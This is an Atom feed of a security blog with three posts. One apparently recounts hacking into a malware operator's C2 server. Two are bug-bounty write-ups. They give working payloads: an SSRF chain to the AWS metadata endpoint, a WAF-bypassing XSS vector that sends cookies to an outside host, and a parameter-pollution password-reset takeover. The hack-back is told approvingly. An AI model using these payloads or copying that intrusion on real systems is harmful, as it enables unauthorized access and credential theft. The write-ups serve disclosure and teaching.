<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.2">Jekyll</generator><link href="https://profmoriarity.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://profmoriarity.github.io/" rel="alternate" type="text/html" /><updated>2022-12-11T16:13:40+00:00</updated><id>https://profmoriarity.github.io/feed.xml</id><title type="html">profmoriarity</title><subtitle>I am siva krishna. I  write about security stuff mostly application security, bug bounties and red teaming.</subtitle><entry><title type="html">Reverse Hacking the hackers: For fun and free software?</title><link href="https://profmoriarity.github.io/blog/2022/11/30/reverse-hacking-the-hackers-for-fun-and-free-software-e3b83021ebb.html" rel="alternate" type="text/html" title="Reverse Hacking the hackers: For fun and free software?" /><published>2022-11-30T00:00:00+00:00</published><updated>2022-11-30T00:00:00+00:00</updated><id>https://profmoriarity.github.io/blog/2022/11/30/reverse-hacking-the-hackers--for-fun-and-free-software--e3b83021ebb</id><content type="html" xml:base="https://profmoriarity.github.io/blog/2022/11/30/reverse-hacking-the-hackers-for-fun-and-free-software-e3b83021ebb.html">&lt;hr /&gt;

&lt;p&gt;It’s been a long time writing something on security stuff. But I would like to
share one of my experiences. This blog post can be a fun read for people who
are already into security and quite surprising and enlightening for people who
aren’t into security.&lt;/p&gt;

&lt;p&gt;For hackers like me, fulfillment comes by doing actual hacking and these
opportunities do not come always because of ethics and legality.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/1-5cOYZvdQuTupK-3hblkNA.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Though it’s been more than a year since this happened, it all started when a
friend came to ask to check why some things are not working on his laptop. My
quick question was “what did you install?” and the obvious response was “X
cracked software”.&lt;/p&gt;

&lt;p&gt;Typical instructions to install pirated software:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Please turn off your antivirus(very very important)&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Open a command prompt as administrator and run the setup.exe&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When you follow these steps, congratulations, you got yourself free software
and a company in your digital life.&lt;/p&gt;

&lt;p&gt;So looking at the infected laptop, I can see that the antivirus is “disabled
by administrator” and there are small windows hiding on the desktop.&lt;/p&gt;

&lt;p&gt;Checking the startup items, there are a few .exe files that run on startup. In
the list of processes, there is a process running that is using a considerable
amount of network.&lt;/p&gt;

&lt;p&gt;Taking these binaries and doing some string analysis using Ghidra, I found an
IP address that I assumed must be the C2 server. I did ran an port scan on the
IP to discover many open ports amongst the interesting one for me the
webserver running at port 80.&lt;/p&gt;

&lt;p&gt;Just navigating to the application running on port 80, reveals an login page
with title saying “OnyxDropper”. A quick google search gave me what it is.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/17aHdH1Dgr1-L_oRFFVh53w.png&quot; alt=&quot;&quot; /&gt;github page for OnyxDropper&lt;/p&gt;

&lt;p&gt;This happens to be dropper with a web UI to quickly drop payloads to all the
victims and couple more extra features. The client is a Csharp executable
while the web application is a php based and listens to the client for
incoming data.&lt;/p&gt;

&lt;p&gt;I am like, PHP? and I am 100% it has bugs. The description says the login
default credentials are root:root. However, no luck with that. Getting hands
on with php web code located at
&lt;a href=&quot;https://github.com/DKOnyx/OnyxDropper/tree/master/Server&quot;&gt;https://github.com/DKOnyx/OnyxDropper/tree/master/Server&lt;/a&gt;. There are multiple
vulnerabilties identified.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/1WN5KBnOZsdVDbk8zGmrp6g.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Checking the login.php, the author has implemented some basic security by
adding htmlspecialchars() function on the username.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/1buyzxxvrQVKfwXzsumW9Gg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The file set-command.php does not seem to verify any session and their
validation/filter on the post variable “command”. Checking the add-
payload.php, I can see there is a file upload feature but this file is
validating the session to perform the upload.&lt;/p&gt;

&lt;p&gt;The feature is probably an option to host their custom payloads to easily send
them to the victim’s machine.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/1X7eQSvG_8niuwdN6AqH63Q.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Exploiting both SQL injection and the file upload features, I got a remote
code execution on the machine.&lt;/p&gt;

&lt;p&gt;Moving further I have created a new user “ &lt;em&gt;Defaultuser&lt;/em&gt; “ on the machine and
added it to the “Remote Desktop Users”. And yeah 3389 port is open to the
internet.&lt;/p&gt;

&lt;p&gt;Upon connecting the machine, I could then see another user is already
connected. They seem to be using
AsyncRAT(&lt;a href=&quot;https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp&quot;&gt;https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;And around 500+ active victims are connecting to RAT at any given time. Just
to give an idea, the Hacker can&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;watch all victims’ live camera feeds all the time&lt;/li&gt;
  &lt;li&gt;log everything they are typing&lt;/li&gt;
  &lt;li&gt;get a snapshot/live stream of their screen&lt;/li&gt;
  &lt;li&gt;download all chrome passwords, cookies, history&lt;/li&gt;
  &lt;li&gt;capture credit card information&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In fact, they already did dump all the passwords and data. The count was more
than 2000 victims from countries India, Brazil, Australia, the USA, Canada,
and many others.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/1Ya1VPMJZxrphTWEGkKOqug.png&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;/img/19_8LOzqjFWVA_qUxk1mUdQ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This contained credentials and access to 1000s of public/private applications.&lt;/p&gt;

&lt;p&gt;Trying to get to know further about their real identity. I checked the apache
access logs to check the IP address of the users trying to login into this
dropper web UI. And the IP address geo locates in West Bengal in India.&lt;/p&gt;

&lt;p&gt;One more step forward, I have created a payload and replaced the AsyncRAT.exe
with the payload. Hoping to get a reverse RDP connection and monitor the
hacker’s moves much closer to potentially get his real details. But I did a
typo in giving the payload parameters and it messed up everything on the first
attempt. The hacker was sad that the async rat was not working, but
reinstalled a new setup.&lt;/p&gt;

&lt;p&gt;On the second attempt, I did create the right payload and but for this type he
was really scared that something has happened and deleted the whole server. I
continued to monitor the IP for more than 6 months and it never again listened
for victims on those default async rat ports.&lt;/p&gt;

&lt;p&gt;I could have tried other techniques like dumping the hash and PTH and stuff.
But really at that time, I was a real noob to this window’s exploitation and
stuff.&lt;/p&gt;

&lt;p&gt;Still, I think it was a good pwn as the attacker had to delete the server.&lt;/p&gt;

&lt;h3 id=&quot;moral&quot;&gt;Moral&lt;/h3&gt;

&lt;p&gt;The Internet gives you all the free stuff, please do the reason why somebody
has to give it for free to you.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Never ever install pirated software – it’s risky and also illegal to do so.&lt;/li&gt;
  &lt;li&gt;Use a password manager – both paid and open source available(Bitwarden is a good one) -&lt;a href=&quot;https://www.youtube.com/watch?v=30QqIeb1Pu4&quot;&gt;https://www.youtube.com/watch?v=30QqIeb1Pu4&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;I think YOUR internet privacy is NOT just yours – it’s also the ones of your friends and family.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Okay, that’s the end of the pwn story. I wrote down what I could remember.
Hope it was fun reading.&lt;/p&gt;

&lt;h4 id=&quot;about-me&quot;&gt;About Me&lt;/h4&gt;

&lt;p&gt;I am a cybersecurity consultant. I think hacking is not just about hacking
computers and software but is about finding loopholes in everything.&lt;/p&gt;

&lt;p&gt;I also do bug bounty on the Hackerone platform hunting for bugs on private and
public bug bounty programs. Though most of my work is in web hacking, need of
the hour – I can do anything and everything to find those hacks.&lt;/p&gt;

&lt;p&gt;Feel free to connect with me on my Twitter &lt;a href=&quot;https://twitter.com/le4rner&quot;&gt;https://twitter.com/le4rner&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Read my old blogs&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;How I earned 60K+ from a private program – &lt;a href=&quot;https://medium.com/@sivakrishnasamireddi/how-i-earned-60k-from-private-program-71bd51554490&quot;&gt;https://medium.com/@sivakrishnasamireddi/how-i-earned-60k-from-private-program-71bd51554490&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Just another tale of severe bugs on a private program – &lt;a href=&quot;https://medium.com/@sivakrishnasamireddi/just-another-tale-of-severe-bugs-on-a-private-program-405870b03532&quot;&gt;https://medium.com/@sivakrishnasamireddi/just-another-tale-of-severe-bugs-on-a-private-program-405870b03532&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Writing this blog gave me extra motivation to be a part of the cybersecurity
world.&lt;/p&gt;</content><author><name>siva</name></author><category term="blog" /><summary type="html"></summary></entry><entry><title type="html">Just another tale of severe bugs on a private program.</title><link href="https://profmoriarity.github.io/blog/2018/09/28/just-another-tale-of-severe-bugs-on-a-private-program-405870b03532.html" rel="alternate" type="text/html" title="Just another tale of severe bugs on a private program." /><published>2018-09-28T00:00:00+00:00</published><updated>2018-09-28T00:00:00+00:00</updated><id>https://profmoriarity.github.io/blog/2018/09/28/just-another-tale-of-severe-bugs-on-a-private-program--405870b03532</id><content type="html" xml:base="https://profmoriarity.github.io/blog/2018/09/28/just-another-tale-of-severe-bugs-on-a-private-program-405870b03532.html">&lt;hr /&gt;

&lt;p&gt;Hello again,&lt;/p&gt;

&lt;p&gt;It would be cool if you read my previous &lt;a href=&quot;https://medium.com/@sivakrishnasamireddi/how-i-earned-60k-from-private-
program-71bd51554490&quot;&gt;write
up&lt;/a&gt; before you read this because it’s the same program and
the only program that feeds me.&lt;/p&gt;

&lt;p&gt;So after I earned 80k INR on the bugs that I found previously, I had to pay my
hostel expenses which were around 75k INR. I had a situation like whether I
should buy a laptop (my current laptop is dying) or pay my hostel expenses.
However, finally, I bought myself a laptop and a brand new mobile. My bank
balance again came to its initial state and I began facing downtime in finding
bugs ( Came to know it’s quite common in a bug hunter’s timeline ). My father
paid my fees from his pocket.&lt;/p&gt;

&lt;p&gt;And then one night,&lt;/p&gt;

&lt;p&gt;I began testing, my favorite program again. I was looking around just browsing
through the application and looking for suitable endpoints to attack. I came
across a POST request that looks like below:&lt;/p&gt;

&lt;p&gt;URL:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://paytmmall.com/v1/api/order/action?channel=html5&amp;amp;child_site_id=6&amp;amp;site_id=2&amp;amp;version=2&quot;&gt;
&lt;strong&gt;https://redacted.com/v1/api/action?channel=&lt;/strong&gt;&lt;/a&gt;
&lt;strong&gt;12&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;POST Data:&lt;/p&gt;

&lt;p&gt;{“URL”:”https://subdomain.redacted.com”,”method”:”GET”}&lt;/p&gt;

&lt;p&gt;It is obvious that server makes GET request to the provided URL from the POST
data. I replaced the &lt;strong&gt;URL&lt;/strong&gt; to my python simple HTTP server. And &lt;strong&gt;BOOM&lt;/strong&gt;!&lt;/p&gt;

&lt;p&gt;Nothing happened, no sign of request on my terminal. There is regex check on
URL like *.redacted.com. It makes a request only if the URL is one of the
subdomains of redacted.com.&lt;/p&gt;

&lt;p&gt;Ah! Then I remembered about the open redirect ( which they don’t accept
without major risks like a token leak ) which I found earlier&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://seller.paytm.com/setCookie?ffCookie=s%3AtH_6udcQMP9zOoRRGfVnR9p7b09SGFNy.3KC626%2BSh0C3RBmeoZHHjqE2Pu0u1Rc4w8alNl%2B4mK4&amp;amp;redirectUrl=http://169.254.169.254/latest
/meta-data&quot;&gt;
&lt;strong&gt;https://&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;partner.redacted.com&lt;/strong&gt;&lt;a href=&quot;https://seller.paytm.com/setCookie?ffCookie=s%3AtH_6udcQMP9zOoRRGfVnR9p7b09SGFNy.3KC626%2BSh0C3RBmeoZHHjqE2Pu0u1Rc4w8alNl%2B4mK4&amp;amp;redirectUrl=http://169.254.169.254/latest
/meta-data&quot;&gt; &lt;strong&gt;/v1/api?example=blabla
&amp;amp;redirectUrl=&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;https://google.com&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Inserting this 302 redirect to &lt;a href=&quot;https://google.com&quot;&gt;https://google.com&lt;/a&gt; in URL param resulted in
fetching google.com content. What to with this SSRF?&lt;/p&gt;

&lt;p&gt;I quickly reminded myself that the company uses Amazon cloud services.&lt;/p&gt;

&lt;p&gt;Then I used the payload&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://seller.paytm.com/setCookie?ffCookie=s%3AtH_6udcQMP9zOoRRGfVnR9p7b09SGFNy.3KC626%2BSh0C3RBmeoZHHjqE2Pu0u1Rc4w8alNl%2B4mK4&amp;amp;redirectUrl=http://169.254.169.254/latest
/meta-data&quot;&gt;
&lt;strong&gt;https://&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;partner.redacted.com&lt;/strong&gt;&lt;a href=&quot;https://seller.paytm.com/setCookie?ffCookie=s%3AtH_6udcQMP9zOoRRGfVnR9p7b09SGFNy.3KC626%2BSh0C3RBmeoZHHjqE2Pu0u1Rc4w8alNl%2B4mK4&amp;amp;redirectUrl=http://169.254.169.254/latest
/meta-data&quot;&gt; &lt;strong&gt;/v1/api?example=blabla
&amp;amp;redirectUrl=&lt;/strong&gt;&lt;/a&gt;&lt;a href=&quot;https://seller.paytm.com/setCookie?ffCookie=s%3AtH_6udcQMP9zOoRRGfVnR9p7b09SGFNy.3KC626%2BSh0C3RBmeoZHHjqE2Pu0u1Rc4w8alNl%2B4mK4&amp;amp;redirectUrl=http://169.254.169.254/latest
/meta-data&quot;&gt; &lt;strong&gt;http://169.254.169.254/latest/meta-
data&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;{“URL”:”&lt;a href=&quot;https://seller.paytm.com/setCookie?ffCookie=s%3AtH_6udcQMP9zOoRRGfVnR9p7b09SGFNy.3KC626%2BSh0C3RBmeoZHHjqE2Pu0u1Rc4w8alNl%2B4mK4&amp;amp;redirectUrl=http://169.254.169.254/latest
/meta-data&quot;&gt;
&lt;strong&gt;https://&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;partner.redacted.com&lt;/strong&gt;&lt;a href=&quot;https://seller.paytm.com/setCookie?ffCookie=s%3AtH_6udcQMP9zOoRRGfVnR9p7b09SGFNy.3KC626%2BSh0C3RBmeoZHHjqE2Pu0u1Rc4w8alNl%2B4mK4&amp;amp;redirectUrl=http://169.254.169.254/latest
/meta-data&quot;&gt; &lt;strong&gt;/v1/api?example=blabla
&amp;amp;redirectUrl=http://169.254.169.254/latest/meta-
data&lt;/strong&gt;&lt;/a&gt;”,”method”:”GET”}&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/1qirF3aMEgNbzYs3bx8dj2w.png&quot; alt=&quot;&quot; /&gt;
Meta-data access through SSRF&lt;/p&gt;

&lt;p&gt;I was on cloud9 looking at this response.&lt;/p&gt;

&lt;p&gt;Got the Metadata of the aws cloud of the company. I successfully chained an
&lt;strong&gt;open redirect, SSRF and metadata endpoint&lt;/strong&gt; to obtain aws metadata.&lt;/p&gt;

&lt;p&gt;I now had access to the entire cloud. With no delay, I reported it the company
and they fixed it in like 4 hours. I was awarded a bounty amount of 40k INR (
551 approx ). So that was the highest they can pay.&lt;/p&gt;

&lt;p&gt;Fine, I enjoyed the bounty very much, since it is the highest I ever got.
Thank you private company. Also, then I decided that I should find the bugs
like them. They are really satisfying.&lt;/p&gt;

&lt;p&gt;Wait it’s not over. Another night I was again checking for XSS bugs I usually
find on the application commonly. Then something struck me.&lt;/p&gt;

&lt;p&gt;They fixed the bug in four hours and asked me to verify. Did they had a fix on
their staging servers?&lt;/p&gt;

&lt;p&gt;I quickly navigated one to virustotal.com and found the staging subdomains. I
just replaced the actual domains in the request with the staging domains and
&lt;strong&gt;BOOM.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Pwned them again!!&lt;/p&gt;

&lt;p&gt;Sent the report to them again and I got another 40k INR. (550 approx ).&lt;/p&gt;

&lt;p&gt;And again in the same month:&lt;/p&gt;

&lt;p&gt;I signed up as a partner and I was asked to upload scanned signature. I
quickly uploaded a fake image. Images are being sent to their S3 pointing to
cdn.redacted.com. I tried bypassing the upload policies. I got no way in
exploiting it. But when I looked into the path of the image it was like&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://assets.paytm.com/merchant/&quot;&gt;http://cdn.redacted.com/partner/&lt;/a&gt;
&lt;em&gt;*821111&lt;/em&gt; /signature/signature.png&lt;/p&gt;

&lt;p&gt;I quickly wrote a python script to check if I can download other users’
signature and result was like :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/1LuHhz-TZIKAtfNaeHdQMhw.png&quot; alt=&quot;&quot; /&gt;
Downloading signature.png of other users.&lt;/p&gt;

&lt;p&gt;Reporting this to the company they gave me 15k INR ( 206$ approx ).&lt;/p&gt;

&lt;p&gt;I was like is this too much in a month? Hehe :p&lt;/p&gt;

&lt;p&gt;Going on…&lt;/p&gt;

&lt;p&gt;I found another bug that allowed me to make a refund of any payment made to
the merchant.&lt;/p&gt;

&lt;p&gt;They basically implemented QR payment system to allow offline stores to use
their wallet services. A shopkeeper gets a QR code and he sticks it to the
wall of his store. I got the idea of testing after facing a trouble for paying
money using cash in a shop ( I was lacking money in cash ). I was forced to
use the QR payment systemto pay the shop.&lt;/p&gt;

&lt;p&gt;Upon scanning QR code, it made a request&lt;/p&gt;

&lt;p&gt;{“request”:{“qrCodeId”:” &lt;strong&gt;QR_DATA_ASHDGVA&lt;/strong&gt;
“,”scanCompletedTime”:”1530007755497”}}&lt;/p&gt;

&lt;p&gt;In response code:&lt;/p&gt;

&lt;p&gt;{…..”MERCAHNT_ID”:”SECRET_CODE”,…}&lt;/p&gt;

&lt;p&gt;I signed up myself as a merchant and paid some bucks using QR to my merchant
account. I tried refunding myself genuinely and then I used merchant id of
another merchant. I was successful in refunding from other merchant’s account.
It lacked the verification of merhcant_id and the requesting account session.
So it affected all the offline merchant stores using the QR system across
India including IRCTC ( India’s e-ticketing website).&lt;/p&gt;

&lt;p&gt;And I was paid 23k INR for this bug ( 317$ approx ).&lt;/p&gt;

&lt;p&gt;Isn’t it cool?&lt;/p&gt;

&lt;p&gt;End of the month I transferred 100K to my father’s bank account which is the
most satisfying moment among all these.&lt;/p&gt;

&lt;p&gt;Total bounty paid: 550$+550$+206$+317$ = 1623$&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;

&lt;p&gt;PS: Any pro bug hunter reading this? Please ignore my innocence and respond if
I ever DM you on twitter and share on your handle if possible. :p&lt;/p&gt;

&lt;p&gt;More SSRF bypass techniques: &lt;a href=&quot;https://github.com/cujanovic/SSRF-Testing&quot;&gt;https://github.com/cujanovic/SSRF-Testing&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Follow me on Twitter: &lt;a href=&quot;https://twitter.com/le4rner&quot;&gt;https://twitter.com/le4rner&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I am BTech final year student. Please feel free to hire me or invite me to
test your company privately.&lt;/p&gt;

&lt;p&gt;Ping me on my email: &lt;strong&gt;Redacted. -_-&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Thanks again for spending some time reading this.&lt;/p&gt;</content><author><name>siva</name></author><category term="blog" /><summary type="html"></summary></entry><entry><title type="html">How I earned 60K+ from private program</title><link href="https://profmoriarity.github.io/blog/2018/04/25/how-i-earned-60k-from-private-program-71bd51554490.html" rel="alternate" type="text/html" title="How I earned 60K+ from private program" /><published>2018-04-25T00:00:00+00:00</published><updated>2018-04-25T00:00:00+00:00</updated><id>https://profmoriarity.github.io/blog/2018/04/25/how-i-earned-60k--from-private-program-71bd51554490</id><content type="html" xml:base="https://profmoriarity.github.io/blog/2018/04/25/how-i-earned-60k-from-private-program-71bd51554490.html">&lt;hr /&gt;

&lt;p&gt;Hey there!&lt;/p&gt;

&lt;p&gt;I am not a security researcher that you often come across in the security
community. I am Siva. Like every bug hunter I began my journey by reading
security write ups, books and hackerone reports. After doing all that I still
can’t find a good bug in websites. Like how you search subdomains, I started
searching for bug bounty programs that aren’t on hackerone or atleast not in
the eyes of community.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;intext: “Responsible Disclosure Policy”&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Results came up and I found a lot of them are on H1 already. And finally
choosen a Indian (❤) company as a target. Assume it as redacted.com since they
told me not to disclose the bugs publicly.&lt;/p&gt;

&lt;p&gt;Though I found multiple bugs. I am not interested in usual bugs. I will be
sharing only special ones.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Redacted.com&lt;/strong&gt; consists of a number of apps running in various sub-domains and it uses Oauth2 to implement authentication to all those apps. You know what anyone does when there is a oauth2. Replaced redirect_uri with &lt;a href=&quot;http://evil.com&quot;&gt;http://evil.com&lt;/a&gt; and result is “The redirect_uri is not registered with client”. So while I was looking at burp logs.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Usual oauth authorisation endpoint was like
&lt;a href=&quot;https://redacted.com/oauth2/authorize&quot;&gt;https://sub.redacted.com/oauth2/authorize&lt;/a&gt;?param=X&amp;amp;redirect_uri=https://sub.redacted.com/?code=&lt;/p&gt;

&lt;p&gt;To my wonder I found another end point in burp log related to oauth2. It is
like&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://redacted.com/oauth2/authorize&quot;&gt;https://sub.redacted.com/oauth2/l&lt;/a&gt;ogin?param=X&amp;amp;redirect_uri=https://sub.redacted.com/?code=&lt;/p&gt;

&lt;p&gt;Changed the redirect_uri and this time it worked. I reported it immediately
and got a quick response from the team.&lt;/p&gt;

&lt;p&gt;The next day I was awarded some 13k. Got first bounty ❤ . [Remeber how you
felt when you got your first one.]&lt;/p&gt;

&lt;p&gt;Out of excitement I fired burp suite again. Found an XSS again [Keep a note of
this ] . Reported.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Subdomain Takeover:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;blockquote&gt;
    &lt;p&gt;Virustotal.com&lt;/p&gt;
  &lt;/blockquote&gt;
&lt;/blockquote&gt;

&lt;p&gt;searched redacted.com and got a list of subdomains. I checked for alias of all
subdomains and found a subdomain pointing somedomain.com which was an expired
domain. There is an email on the main page saying contact to buy.&lt;/p&gt;

&lt;p&gt;Okay! I sent a mail to that guy asking the price of the subdomain.com and he
was like :&lt;/p&gt;

&lt;p&gt;” Man! I had breakup with my girl and I need a ring to give her and get her
back in my life! How much can you give?”&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/1h86As8FAHN4QE0TWziLETg.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I reported this to the program and they credited some more amount in my
account.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. XSS filter Bypass:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is my great finding &lt;em&gt;Appreciating myself&lt;/em&gt; . So there is sub-domain that
is reflecting any parameters on the page. Okay! Injected some HTML content.
Got rendered on the page. Inserted some javascript into the param. Got this&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/1zjBJjZdpDHptP_s1P6I5jg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Response. Btw it’s not ebay.com :P&lt;/p&gt;

&lt;p&gt;Okay! Deduction! It’s using Akamai WAF. Couldn’t find any bypasses relevant to
my case. So I am checking different vectors. After trying different vectors I
got some conclusions. The vector I use should not contain&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Keywords : Javascript,alert,confirm,prompt,event handlers.&lt;/li&gt;
  &lt;li&gt;No parentheses.&lt;/li&gt;
  &lt;li&gt;No native method calling like document.cookie()&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After some research over the internet, I found a way to bypass this case. The
following vector does the bypass work. If you came across akamai WAF, may the
following vector bypasses it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&amp;lt; object onafterscriptexecute={window[‘location’]=”//&lt;/strong&gt;&lt;a href=&quot;http://dontknowsss.com/&quot;&gt;
&lt;strong&gt;dontknowsss.com/&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;? “%2bdocument[‘cookie’]}&amp;gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This allows cookie stealing directly, it’s not just a simple alert(1). I would
suggest you to use this kind of POC.&lt;/p&gt;

&lt;p&gt;Reported this and got bucks for this as well.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. HPP account takeover&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you don’t know what HTTP parameter pollution is, Check it out &lt;a href=&quot;https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_
%28OTG-INPVAL-004%29&quot;&gt;here at
OWASP&lt;/a&gt;. OWASP is really a best place to learn about all kinds
of attacks possible on web applications. [ Go right now if your are new to
this ].&lt;/p&gt;

&lt;p&gt;Coming to the bug I found. One of the sub-domain hosts a application that has
retail user panel. All retail users can login over there and do stuff. I
created account on it and before logging in, I wanted to test the forgot
password functionality. :P&lt;/p&gt;

&lt;p&gt;I turned on burp intercept mode to tamper data. What anyone will test with
forgot password functionality. Added a header X-Forwarded-Host: test.com to if
the reset link gets modified to test.com/token. But Nope! it didn’t. It had a
single parameter i.e.;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;email=owner12@domain.tld&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I did HPP with this and it was like&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;email=owner12@domain.tld &amp;amp;email=attacker@yopmail.com&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And I got reset link in both the email. This way I was able to compromise all
the retail users selling on the website. They paid me highest for this issue.&lt;/p&gt;

&lt;p&gt;I think it already became too long for readers to read this article. I would
like to stop here and post my other findings in future posts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PS: The 60k is in INR not in USD  :P&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Special Notes:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I would like to thank all great people who contributed to the community and
shared their value attack strategies.&lt;/p&gt;

&lt;p&gt;I learnt all these stuff because someone shared something. I thought now it’s
my turn to contribute to community. So I did.&lt;/p&gt;

&lt;p&gt;Please share your knowledge and help the community. Sharing is Caring.&lt;/p&gt;

&lt;p&gt;If you are a newbie and wanted to learn everything from basics my DM is always
open &lt;a href=&quot;https://twitter.com/le4rner&quot;&gt;twitter/le4rner&lt;/a&gt; to get information about
learning stuff.&lt;/p&gt;

&lt;p&gt;Happy Hunting,&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/le4rner&quot;&gt;Siva Krishna.&lt;/a&gt;&lt;/p&gt;</content><author><name>siva</name></author><category term="blog" /><summary type="html"></summary></entry></feed>